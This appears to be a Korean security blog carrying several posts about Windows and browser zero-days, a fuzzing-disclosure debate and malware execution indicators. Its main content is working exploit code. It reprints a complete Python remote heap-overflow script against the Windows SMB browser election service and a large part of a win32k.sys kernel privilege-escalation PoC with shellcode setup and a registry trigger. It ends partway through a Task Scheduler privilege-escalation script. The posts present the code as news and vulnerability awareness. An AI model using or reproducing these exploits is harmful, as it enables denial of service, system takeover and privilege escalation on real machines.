지난 9월 28일, 중국의 Qihoo 360 Core Security에서는 CVE-2017-11826 취약점을 이용하는 공격코드가 인터넷에서 발견되었다고 발표했다. 이 취약점은 현재 제공되는 오피스 워드 전제품에서 발생할 수 있으며, 다만, 공격 대상은 제한적이라고 한다. 공격자는 기존의 WORD 문서를 공격하는 방식과 동일하게 RTF 파일에 조작된 .docx 파일을 임베디드 시키는 방식을 이용한다.

 

보다 자세한 자료는 아래 링크를 참고한다.

 

 

참고로 해당 취약점은 2017년 10월 정기 보안 업데이트에서 패치를 발표했다.

 

 

고맙습니다.

저작자 표시
신고
reTweet
Posted by 문스랩닷컴
blog comments powered by Disqus

    지난 2013년도에는 3.20 사이버테러, 6.25 사이버워 등 굵직굵직한 사건들이 참 많았습니다. 덕분에 관련된 많은 사람들이 고생도 많이 하셨을 것이고, 또한 이를 통해 APT 등 새로운 분야에 대한 관심사가 떠오르기도 했습니다.

     

    보안 쪽 특히 해킹이나 악성코드 분석에 관심이 있는 친구들이라면, 꼭봐둬야할 기사를 하나 소개합니다.

     

    PC에 뭔가 있는거 같다! 뭘 유심히 봐야 하느냐! 에 대한 해외 자료입니다.

     

    http://journeyintoir.blogspot.kr/2014/01/it-is-all-about-program-execution.html

     

    요약하면...

    What Malware Indicators to Look For


    As the name implies program execution artifacts show what programs executed on a system and at times what programs were present on the system. The significance of knowing what programs ran can be seen in my corollary to the Rootkit Paradox:

          1. They need to run
          2. They want to remain hidden

    Malware wants to remain hidden on a system so it can accomplish what it was designed to do. However, in order for malware to hide on a system a program has to run. This program executes to either hide itself or another piece of malware; in the process it will leave artifacts on the system. These artifacts - program execution artifacts - can be used to find where the malware is hidden. Below are the malware indicators to look for as the program execution artifacts are reviewed (my post Triaging Malware Incidents shows how to use these indicators for triaging).

          - Programs executing from temporary or cache folders
          - Programs executing from user profiles (AppData, Roaming, Local, etc)
          - Programs executing from C:\ProgramData or All Users profile
          - Programs executing from C:\RECYCLER
          - Programs stored as Alternate Data Streams (i.e. C:\Windows\System32:svchost.exe)
          - Programs with random and unusual file names
          - Windows programs located in wrong folders (i.e. C:\Windows\svchost.exe)
          - Other activity on the system around suspicious files

    저작자 표시
    신고
    reTweet
    Posted by 문스랩닷컴
    blog comments powered by Disqus
      지난 2월 13일에 Cupidon-3005이라는 별명을 사용하는 보안 전문가가 exploit-db.com에 새로운 윈도우 관련 제로데이 익스플로잇을 공개했습니다.

      ####################################################################################
      #MS Windows Server 2003 AD Pre-Auth BROWSER ELECTION Remote Heap Overflow
      #Release date: 2011-02-14
      #Author: Cupidon-3005
      #Greet: Winny Thomas, Laurent Gaffie, h07
      #Bug: Heap Overflow
      #Remote Exploitability: Unlikely
      #Local Exploitability: Likely
      #Context: Broadcast, Pre-Auth
      #####################################################################################
      #Mrxsmb.sys, around BowserWriteErrorLog+0x175, while trying to copy 1go from ESI to EDI ...
      #Code will look something like this:
      #if ((Len + 1) * sizeof(WCHAR)) > TotalBufferSize) { Len = TotalSize/sizeof(WCHAR) - 1; }
      #-1 causes Len to go 0xFFFFFFFF
      #Feel free to reuse this code without restrictions...
        
      import socket,sys,struct
      from socket import *
        
      if len(sys.argv)<=4:    
       sys.exit("""usage: python sploit.py UR-IP BCAST-IP NBT-NAME AD-NAME 
       example: python sploit.py 192.168.1.10 192.168.1.255 OhYeah AD-NETBIOS-NAME""")
        
      ourip = sys.argv[1]
      host = sys.argv[2]
      srcname = sys.argv[3].upper()
      dstname = sys.argv[4].upper()
        
        
      ELEC            = "\x42\x4f\x00"
      WREDIR          = "\x41\x41\x00"
        
      def encodename(nbt,service):
          final = '\x20'+''.join([chr((ord(i)>>4) + ord('A'))+chr((ord(i)&0xF) + ord('A')) for i in nbt])+((15 - len(nbt)) * str('\x43\x41'))+service
          return final
        
      def lengthlittle(packet,addnum):
          length = struct.pack("<i", len(packet)+addnum)[0:2]
          return length
        
      def lengthbig(packet,addnum):
          length = struct.pack(">i", len(packet)+addnum)[2:4]
          return length
        
      def election(srcname):
          elec = "\x08"
          elec+= "\x09" #Be the boss or die
          elec+= "\xa8\x0f\x01\x20" #Be the boss or die
          elec+= "\x1b\xe9\xa5\x00" #Up time
          elec+= "\x00\x00\x00\x00" #Null, like SDLC
          elec+= srcname+"\x00"
          return elec
        
      def smbheaderudp(op="\x25"):
          smbheader= "\xff\x53\x4d\x42"
          smbheader+= op 
          smbheader+= "\x00"
          smbheader+= "\x00"
          smbheader+= "\x00\x00"
          smbheader+= "\x00"
          smbheader+= "\x00\x00"
          smbheader+= "\x00\x00"
          smbheader+= "\x00\x00\x00\x00\x00\x00\x00\x00" 
          smbheader+=  "\x00\x00"
          smbheader+= "\x00\x00"
          smbheader+= "\x00\x00"
          smbheader+= "\x00\x00"
          smbheader+= "\x00\x00"
          return smbheader
        
        
      def trans2mailslot(tid="\x80\x0b",ip=ourip,sname="LOVE-SDL",dname="SRD-LOVE",namepipe="\MAILSLOT\BROWSE",srcservice="\x41\x41\x00",dstservice="\x41\x41\x00",pbrowser=""):
          packetbrowser  =  pbrowser                             
          packetmailslot = "\x01\x00"                            
          packetmailslot+= "\x00\x00"                            
          packetmailslot+= "\x02\x00"                            
          packetmailslot+= lengthlittle(packetbrowser+namepipe,4)
          packetmailslot+= namepipe +"\x00"
          packetdatagram = "\x11"
          packetdatagram+= "\x02"
          packetdatagram+= tid 
          packetdatagram+= inet_aton(ip)
          packetdatagram+= "\x00\x8a"
          packetdatagram+= "\x00\xa7"
          packetdatagram+= "\x00\x00"
          packetdatagramname = encodename(sname,srcservice)
          packetdatagramname+= encodename(dname,dstservice)
          smbheader= smbheaderudp("\x25")
          packetrans2 = "\x11"
          packetrans2+= "\x00\x00" 
          packetrans2+= lengthlittle(packetbrowser,0)
          packetrans2+= "\x00\x00"
          packetrans2+= "\x00\x00"
          packetrans2+= "\x00"
          packetrans2+= "\x00"
          packetrans2+= "\x00\x00"
          packetrans2+= "\xe8\x03\x00\x00"
          packetrans2+= "\x00\x00"
          packetrans2+= "\x00\x00"
          packetrans2+= "\x00\x00"
          packetrans2+= lengthlittle(packetbrowser,0)
          packetrans2+= lengthlittle(smbheader+packetrans2+packetmailslot,4)
          packetrans2+= "\x03"
          packetrans2+= "\x00"
          andoffset = lengthlittle(smbheader+packetrans2+packetmailslot,2)
          lengthcalc = packetdatagramname+smbheader+packetrans2+packetmailslot+packetbrowser
          packetfinal = packetdatagram+packetdatagramname+smbheader+packetrans2+packetmailslot+packetbrowser
          packetotalength = list(packetfinal)
          packetotalength[10:12] = lengthbig(lengthcalc,0)
          packetrans2final = ''.join(packetotalength)
          return packetrans2final
        
      def sockbroad(host,sourceservice,destservice,packet):
         s = socket(AF_INET,SOCK_DGRAM)
         s.setsockopt(SOL_SOCKET, SO_BROADCAST,1)
         s.bind(('0.0.0.0', 138))
         try:
            packsmbheader = smbheaderudp("\x25")
            buffer0 = trans2mailslot(tid="\x80\x22",ip=ourip,sname=srcname,dname=dstname,namepipe="\MAILSLOT\BROWSER",srcservice=sourceservice, dstservice=destservice, pbrowser=packet)
            s.sendto(buffer0,(host,138))
         except:
            print "expected SDL error:", sys.exc_info()[0]
            raise
         
      sockbroad(host,WREDIR,ELEC,election("A" * 410)) # -> Zing it! (between ~60->410)
      print "Happy St-Valentine Bitches\nMSFT found that one loooooooong time ago...."



      물론 이 문제는 아직 해결되지 않았으며 마이크로소프트가 전모를 파악하여 분석 중에 있습니다.

      문제점의 원인은 mrxsmb.sys 파일에 포함된 BrowserWriteErrorLogEntry() 함수에서 적벌한 처리가 이뤄지지 않아 버퍼 오버플로 오류가 발생하는 것으로 알려지고 있습니다. mrxsmb.sys 파일은 윈도우에서 네트워크 통신을 하는 과정에서 사용하는 SMB(Server Message Block) 프로토콜에 요청하는 프로세스를 처리하는 드라이버 파일입니다.

      독일의 보안 기업인 Vupen이 검토한 바에 따르면 이 문제점은 치명적(Critical)인 것으로 간주되며 이로 인해 서비스 거부나 시스템 장악과 같은 결과를 낳을 수 있다고 합니다. 물론, 윈도우의 블루스크린(BSOD)를 유발할 수도 있습니다.

      또다른 보안 기업인 Secunia에서는 5단계 위험 기준에서 3번째인 일반(moderately critical)로 분류했습니다.

      현재 제로데이코드는 윈도우 2003 서버 제품에 한정되어 올라와 있지만 앞에서 언급한 보안 기업의 확인에 따르면 Windows XP SP3와 Windows 2003 SP2 버전뿐만 아니라 다른 윈도우 제품에서도 대부분 발생한다고 합니다.

      MS의 보안 업데이트 정책상 다음달 8일에 정기 보안 업데이트가 예정되어 있지만, 이 취약점에 대한 조사가 완료된 후에야 긴급 업데이트를 할지 아니면 다음달에 처리할지 결정될 것이라고 합니다.

      감사합니다.

      출처: http://www.exploit-db.com/exploits/16166/
      저작자 표시
      신고
      reTweet
      Posted by 문스랩닷컴
      blog comments powered by Disqus

        심각한 파급력을 가질 수 있는 보안 취약점을 발견 즉시 공개해야 할까요? 아니면, 개발사와 충분히 검토하여 문제점을 해결 또는 완화할 수 있는 방안(패치)를 마련한 다음 공개해야 할까요?

        보통, 후자의 경우를 선택하는 경우가 많으며, 요즘은 인식이 많이 좋아져서 개발사에서도 적극적으로 대처하는 편입니다.

        하지만, 작년 9월과 올 1월에 구글에서 근무하는 엔지니어가 새로운 제로데이 취약점을 공개해서 논란이 되고 있습니다. 앞에서 언급한 바와 같이 문제점의 해결책이 마련되지 않은 상태에서 공격이 가능한 코드(PoC, Proof of Concept)를 공개한 것이 논란의 발단입니다.

        Lcamtuf와 Michael Zalewski는 자신들이 발견한 cross-fuzz라는 취약점을 이용하는 공격이 가능함을 시연하는 툴을 최근 공개했습니다.

        1. Open two windows with documents of any (DOM-enabled) type. Simple HTML, XHTML, and SVG documents are randomly selected as targets by default - although any other, possibly plugin-supported formats could be targeted instead.
        2. Crawl DOM hierarchy of the first document, collecting encountered object references for later reuse. Visited objects and collected references are tagged using an injected property to avoid infinite recursion; a secondary blacklist is used to prevent navigating away or descending into the master window. Critically, random shuffling and recursion fanout control are used to ensure good coverage.
        3. Repeat DOM crawl, randomly tweaking encountered object properties by setting them to a one of the previously recorded references (or, with some probability, to one of a handful of hardcoded "interesting" values).
        4. Repeat DOM crawl, randomly calling encountered object methods. Call parameters are synthesized using collected references and "interesting" values, as noted above. If a method returns an object, its output is subsequently crawled and tweaked in a similar manner.
        5. Randomly destroy first document using one of the several possible methods, toggle garbage collection.
        6. Perform the same set of crawl & tweak operations for the second document, but use references collected from the first document for overwriting properties and calling methods in the second one.
        7. Randomly destroy document windows, carry over a percentage of collected references to the next fuzzing cycle.


        이 취약점은 2010년 7월부터 제기된 것으로 그동안 인터넷 익스플로러, 파이어폭스 등과 같은 브라우저에서 발생하는 문제를 해결해 오고 있는 상태였으며, 이에 대한 정보는 아래를 참고하십시오.

        Internet Explorer: MSRC notified in July 2010. Fuzzer known to trigger several clearly exploitable crashes (example stack trace) and security-relevant GUI corruption issues (XP-only, example). Reproducible, exploitable faults still present in current versions of the browser. I have reasons to believe that one of these vulnerabilities is known to third parties.

        Comment: Vendor has acknowledged receiving the report in July (case 10205jr), but has not contacted me again until my final ping in December. Following that contact attempt, they were able to quickly reproduce multiple exploitable crashes, and asked for the release of this tool to be postponed indefinitely. Since they have not provided a compelling explanation as to why these issues could not have been investigated earlier, I refused; see this timeline for more.
        All WebKit browsers: WebKit project notified in July 2010. About two dozen crashes identified and addressed in bug 42959 and related efforts by several volunteers. Relevant patches generally released with attribution in security bulletins. Some extremely hard-to-debug memory corruption problems still occurring on trunk.
        Firefox: Mozilla notified in July 2010. Around 10 crashes addressed in bug 581539, with attribution in security bulletins where appropriate. Fuzzing approach subsequently rolled into Jesse Ruderman's fuzzing infrastructure under bug 594645 in September; from that point on, 50 additional bugs identified (generally with no specific attribution at patch time). Several elusive crashes still occurring on trunk. Bad read / write offset crashes in npswf32.dll can also be observed if the plugin is installed.
        Opera: vendor notified in July 2010. Update provided in December states that Opera 11 fixed all the frequent crashes, and that a proper security advisory will be released at a later date (release notes list a placeholder statement: "fixed a high severity issue"). Several tricky crashes reportedly still waiting to be resolved.

        재미있는 점은 마이크로소프트가 이 취약점을 해결하는 패치가 발표되기 전까지는 공격 코드의 발표를 연기해 달라고 요청했다는 점인데, 이 요청을 거부하고 공개했다는 것입니다. 

        Michael Zalewski는 이러한 요청을 거부한 배경에는 이미 이 취약점을 이용하는 공격도구가 이미 인터넷 상에 존재하고 있다고 믿을 만한 근거가 있다고 밝혔습니다.


        즉, 이미 인터넷 상에 취약점이 공개되어 공격자들이 이용하고 있는데, 해결책이 없다고 주저하는 것이 옳은 선택일까요? 아닐까요?

        출처: http://lcamtuf.blogspot.com/2011/01/announcing-crossfuzz-potential-0-day-in.html

         

        저작자 표시
        신고
        reTweet
        Posted by 문스랩닷컴
        blog comments powered by Disqus
          지난 11월 24일, 외국의 유명한 프로그래밍 관련 사이트에서 윈도우의 패치되지 않은 취약점에 대한 공격 코드 즉, 제로데이가 발표되었습니다. 이 취약점은 윈도우 XP, 비스타, 7 등의 클라이언트 운영체제 뿐만 아니라 윈도우 2008과 같은 서버용 운영체제에서 발견되어 충격을 주고 있습니다.

          이 취약점은 윈도우 커널(win32k.sys)의 버퍼 오버플로 시에 발생하며, 공격자는 윈도우의 UAC(User Access Control) 기능을 우회할 수 있습니다.

          PoC(Proof of Concept) 공격 코드에서는 윈도우의 관리자 계정이 아닌 일반 계정으로도 특정한 키를 생성할 수 있는 것으로 제시하고 있습니다. 물론, win32k.sys가 커널에 관련된 파일로 일부 운영체제에서는 PoC 코드가 BSOD(블루스크린)을 보이기는 하지만 일부 수정만 한다면 문제없이 공격이 가능하리라 예상됩니다.

          다행인지 모르지만, 지금까지는 이 취약점은 로컬에서 공격이 가능하다고 언급하고 있지만, 공격 방식에 따라 다른 형태로도 가능하리라 예상됩니다.


          위의 화면에서 보면, 처음 사용자 권한은 일반인 user 였지만 공격 코드를 실행한 후에는 system 권한을 가지게 된 것을 볼 수 있습니다.

          아래 코드는 웹사이트에 공개한 PoC 중의 일부 코드 및 설명입니다.

          1. Introduction
          2.  
          3. I would like to present an exploit of an ambiguous parameter in Windows kernel API that leads to buffer overflows under nearly every version of Microsoft Windows, especially one that can be used as a backdoor to Windows user privilege system as well as User Access Control.
          4.  
          5. The starring API would be RtlQueryRegistryValues, it meant to be used to query multiple registry values by a query table, given the EntryContext field as output buffer. There is a problem that this field can be either treated as a UNICODE_STRING structure or a ULONG buffer length followed by the actual buffer, and this is determined by the type of the registry key being queried.
          6. Using the code
          7.  
          8. In this example, I found a registry key which can be manipulated with only user rights, by changing its type to REG_BINARY overflows the kernel. When Win32k.sys->NtGdiEnableEudc queries HKCU\EUDC\[Language]\SystemDefaultEUDCFont registry value, it assumes that the registry value is REG_SZ, so the buffer provided on stack is a UNICODE_STRING structure, of which the first ULONG value in this structure represents the length of the string buffer, but if the value in registry is REG_BINARY type, it will be wrongly interpreted as the length of the given buffer, thus overwrites the stack.
          9. Collapse
          10. Collapse
          11.  
          12. .text:BF81BA91                 push    esi             ; Environment
          13. .text:BF81BA92                 push    esi             ; Context
          14. .text:BF81BA93                 push    offset ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A ; QueryTable
          15. .text:BF81BA98                 push    edi             ; Path
          16. .text:BF81BA99                 lea     eax, [ebp+DestinationString]
          17. .text:BF81BA9C                 push    esi             ; RelativeTo
          18. .text:BF81BA9D                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.QueryRoutine, esi ; _RTL_QUERY_REGISTRY_TABLE * SharedQueryTable
          19. .text:BF81BAA3                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Flags, 24h
          20. .text:BF81BAAD                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Name, offset aSystemdefaulte ; "SystemDefaultEUDCFont"
          21. .text:BF81BAB7                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.EntryContext, eax
          22. .text:BF81BABC                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultType, esi
          23. .text:BF81BAC2                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultData, esi
          24. .text:BF81BAC8                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultLength, esi
          25. .text:BF81BACE                 mov     dword_BFA198FC, esi
          26. .text:BF81BAD4                 mov     dword_BFA19900, esi
          27. .text:BF81BADA                 mov     dword_BFA19904, esi
          28. .text:BF81BAE0                 call    ds:__imp__RtlQueryRegistryValues@20 ; RtlQueryRegistryValues(x,x,x,x,x)
          29. .text:BF81BAE6                 mov     [ebp+var_8], eax
          30.  
          31. Stack trace shows the calling process is as follows:
          32.  
          33. GDI32.EnableEUDC ->
          34. NtGdiEnableEudc ->
          35. GreEnableEUDC ->
          36. sub_BF81B3B4 ->
          37. sub_BF81BA0B ->
          38. RtlQueryRegistryValues (Overflow occurs)
          39.  
          40. Given this we can design the registry value which will precisely overwrite the return address of the calling function on stack, results in an arbitrary buffer being executed in kernel mode. In my PoC the buffer contains a simple kernel PE loader, which will eventually load a driver that will escalate "cmd.exe” process privilege regardless of UAC.
          41. Collapse
          42. Collapse
          43.  
          44. // Allocate buffer for the driver
          45. LPVOID pDrvMem = VirtualAlloc(NULL, sizeof(DrvBuf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
          46. memcpy(pDrvMem, DrvBuf, sizeof(DrvBuf));    
          47.  
          48. BYTE* pMem;            // shellcode
          49. DWORD ExpSize = 0;
          50.  
          51. BYTE RegBuf[0x40] = {0};    // reg binary buffer
          52.  
          53. pMem = (BYTE*)VirtualAlloc(NULL, sizeof(Data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
          54. memcpy(pMem, Data, sizeof(Data));                // Copy shellcode
          55.  
          56. *(DWORD*)(RegBuf + 0x1C) = (DWORD)pMem;        // Point return value to our buffer
          57.  
          58. ExpSize = 0x28;
          59.  
          60.  
          61. The shellcode need some kernel APIs, we need to get their addresses from the running kernel.
          62. Collapse
          63. Collapse
          64.  
          65. // Get the running kernel file name
          66. HMODULE hDll = GetModuleHandle(L"ntdll.dll");
          67. pfnZwQuerySystemInformation fnZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(hDll,"ZwQuerySystemInformation");
          68. PSYSTEM_MODULE_INFORMATIONS pModInfo = NULL;
          69. ULONG AllocSize = 0;
          70. fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);
          71.  
          72. pModInfo = (PSYSTEM_MODULE_INFORMATIONS)malloc(AllocSize);
          73. fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);
          74. HMODULE hKernel = LoadLibraryExA(pModInfo->modinfo[0].ImageName + pModInfo->modinfo[0].ModuleNameOffset, NULL, DONT_RESOLVE_DLL_REFERENCES);
          75.  
          76. //Relocation to the running kernel base
          77. DWORD Delta =  (DWORD)pModInfo->modinfo[0].Base - (DWORD)hKernel;
          78.  
          79. free(pModInfo);
          80.  
          81. // For Vista, there is a Pool address on the stack which is going to be passed to ExFreePool before the function returns,
          82. // so we need a valid pool address to avoid BSOD.
          83.  
          84. if(vi.dwBuildNumber < 7600)    
          85. {
          86.     FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x2C);
          87.  
          88.     HANDLE hDummy = CreateSemaphore(NULL, 10, 10, L"Local\\PoC");
          89.     PSYSTEM_HANDLE_INFORMATION pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(sizeof(SYSTEM_HANDLE_INFORMATION));
          90.     AllocSize = sizeof(SYSTEM_HANDLE_INFORMATION);
          91.     fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);
          92.  
          93.     pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleInfo, AllocSize);
          94.     fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);
          95.  
          96.     for(DWORD i = 0; i < pHandleInfo->NumberOfHandles; i++)
          97.     {
          98.         if((HANDLE)pHandleInfo->Handles[i].HandleValue == hDummy)
          99.         {
          100.             *(DWORD*)(RegBuf + 0x4) = (DWORD)(pHandleInfo->Handles[i].Object) - 0x18;
          101.             break;
          102.         }
          103.     }
          104.     free(pHandleInfo);
          105. }
          106. else
          107. {
          108.     FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x30);
          109. }
          110.  
          111. // Now fills the API addresses needed
          112. FixDWORD(pMem, sizeof(Data), 0x11111111, (DWORD)GetProcAddress(hKernel, "ExAllocatePoolWithTag") + Delta);
          113. FixDWORD(pMem, sizeof(Data), 0x22222222, (DWORD)GetProcAddress(hKernel, "RtlInitAnsiString") + Delta);
          114. FixDWORD(pMem, sizeof(Data), 0x33333333, (DWORD)GetProcAddress(hKernel, "RtlAnsiStringToUnicodeString") + Delta);
          115. FixDWORD(pMem, sizeof(Data), 0x44444444, (DWORD)GetProcAddress(hKernel, "MmGetSystemRoutineAddress") + Delta);
          116. FixDWORD(pMem, sizeof(Data), 0x55555555, (DWORD)GetProcAddress(hKernel, "RtlFreeUnicodeString") + Delta);
          117. FixDWORD(pMem, sizeof(Data), 0x66666666, (DWORD)GetProcAddress(hKernel, "memcpy") + Delta);
          118. FixDWORD(pMem, sizeof(Data), 0x77777777, (DWORD)GetProcAddress(hKernel, "memset") + Delta);
          119. FixDWORD(pMem, sizeof(Data), 0x88888888, (DWORD)GetProcAddress(hKernel, "KeDelayExecutionThread") + Delta);
          120. FreeLibrary(hKernel);
          121.  
          122. // Here we tell the shellcode(PE loader) where the driver buffer is.
          123. FixDWORD(pMem, sizeof(Data), 0x11223344, sizeof(DrvBuf));
          124. FixDWORD(pMem, sizeof(Data), 0x55667788, (DWORD)pDrvMem);
          125.  
          126.  
          127. Finally, we set the registry value and call GDI32.EnableEUDC to fire the exploit.
          128. Collapse
          129. Collapse
          130.  
          131. UINT codepage = GetACP();
          132. TCHAR tmpstr[256];
          133. _stprintf_s(tmpstr, TEXT("EUDC\\%d"), codepage);        // Get current code page
          134. HKEY hKey;
          135. RegCreateKeyEx(HKEY_CURRENT_USER, tmpstr, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE | DELETE, NULL, &hKey, NULL);
          136. RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
          137.  
          138. RegSetValueEx(hKey, TEXT("SystemDefaultEUDCFont"), 0, REG_BINARY, RegBuf, ExpSize);
          139.  
          140. __try
          141. {
          142.     EnableEUDC(TRUE);    
          143. }
          144. __except(1)
          145. {
          146. }
          147. RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
          148. RegCloseKey(hKey);
          149.  
          150. After running this PoC, just type "whoami" in command prompt to see the escalated user credentials.
          151. Points of Interest
          152.  
          153. All actions this PoC performs require only user privilege, but result in arbitrary kernel mode code execution due to the ambiguous design of RtlQueryRegistryValues. This design flaw exists in most versions of Windows kernels, yet no patch or documentation is publicly available on this issue.
          154. Additional Information
          155.  
          156. This PoC may not correctly fix the exploited kernel context and resume execution without BSOD, such as on kernels ealier than 6.1.6000 are not supported, current supported kernels are:
          157. Windows Vista/2008 6.1.6000 x32,
          158. Windows Vista/2008 6.1.6001 x32,
          159. Windows 7 6.2.7600 x32,
          160. Windows 7/2008 R2 6.2.7600 x64.
          161. Beyond this scope you may contact me for information on how to tune the code to work correctly on your kernel or how the shellcode works, etc. Those contents are beyond the scope of this article and of no importance to the exploit, therefore it is not included.


          아직까지 현 문제점에 대해 추가적인 언급이나 대책이 발표되지 않았으며, 공격 코드의 공개로 인해 악성코드 제작자의 활약(!)이 예상됩니다.



          감사합니다.

          저작자 표시
          신고
          reTweet
          Posted by 문스랩닷컴
          blog comments powered by Disqus
            외국의 취약점 공개 사이트인 www.exploit-db.com에서 윈도우의 예약 작업에 관련된 제로데이 코드가 발표되었습니다.

            다행이 취약점의 특성상 웹과 같이 외부적인 요소로 인한 공격이 주효하지 않을 것으로 보이지만, 악성코드 등과 같이 로컬로 동작할 경우에는 치명적인 영향을 미칠 가능성이 있으므로 주의해야 합니다.

            아직 해결책이나 보완책이 나오지 않았습니다.

            # Exploit Title: Windows Task Scheduler Privilege Escalation 0day
            # Date: 20-11-2010
            # Author: webDEViL
            # Tested on: Windows 7/2008 x86/x64
             
             
            <job id="tasksch-wD-0day">
            <script language="Javascript">
             
            crc_table = new Array(
              0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419,
              0x706AF48F, 0xE963A535, 0x9E6495A3, 0x0EDB8832, 0x79DCB8A4,
              0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07,
              0x90BF1D91, 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE,
              0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, 0x136C9856,
              0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9,
              0xFA0F3D63, 0x8D080DF5, 0x3B6E20C8, 0x4C69105E, 0xD56041E4,
              0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B,
              0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3,
              0x45DF5C75, 0xDCD60DCF, 0xABD13D59, 0x26D930AC, 0x51DE003A,
              0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599,
              0xB8BDA50F, 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924,
              0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, 0x76DC4190,
              0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F,
              0x9FBFE4A5, 0xE8B8D433, 0x7807C9A2, 0x0F00F934, 0x9609A88E,
              0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01,
              0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED,
              0x1B01A57B, 0x8208F4C1, 0xF50FC457, 0x65B0D9C6, 0x12B7E950,
              0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3,
              0xFBD44C65, 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2,
              0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, 0x4369E96A,
              0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5,
              0xAA0A4C5F, 0xDD0D7CC9, 0x5005713C, 0x270241AA, 0xBE0B1010,
              0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F,
              0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17,
              0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, 0xEDB88320, 0x9ABFB3B6,
              0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615,
              0x73DC1683, 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8,
              0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, 0xF00F9344,
              0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB,
              0x196C3671, 0x6E6B06E7, 0xFED41B76, 0x89D32BE0, 0x10DA7A5A,
              0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5,
              0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1,
              0xA6BC5767, 0x3FB506DD, 0x48B2364B, 0xD80D2BDA, 0xAF0A1B4C,
              0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF,
              0x4669BE79, 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236,
              0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, 0xC5BA3BBE,
              0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31,
              0x2CD99E8B, 0x5BDEAE1D, 0x9B64C2B0, 0xEC63F226, 0x756AA39C,
              0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713,
              0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B,
              0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, 0x86D3D2D4, 0xF1D4E242,
              0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1,
              0x18B74777, 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C,
              0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, 0xA00AE278,
              0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7,
              0x4969474D, 0x3E6E77DB, 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66,
              0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9,
              0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605,
              0xCDD70693, 0x54DE5729, 0x23D967BF, 0xB3667A2E, 0xC4614AB8,
              0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B,
              0x2D02EF8D
            );
             
            var hD='0123456789ABCDEF';
             
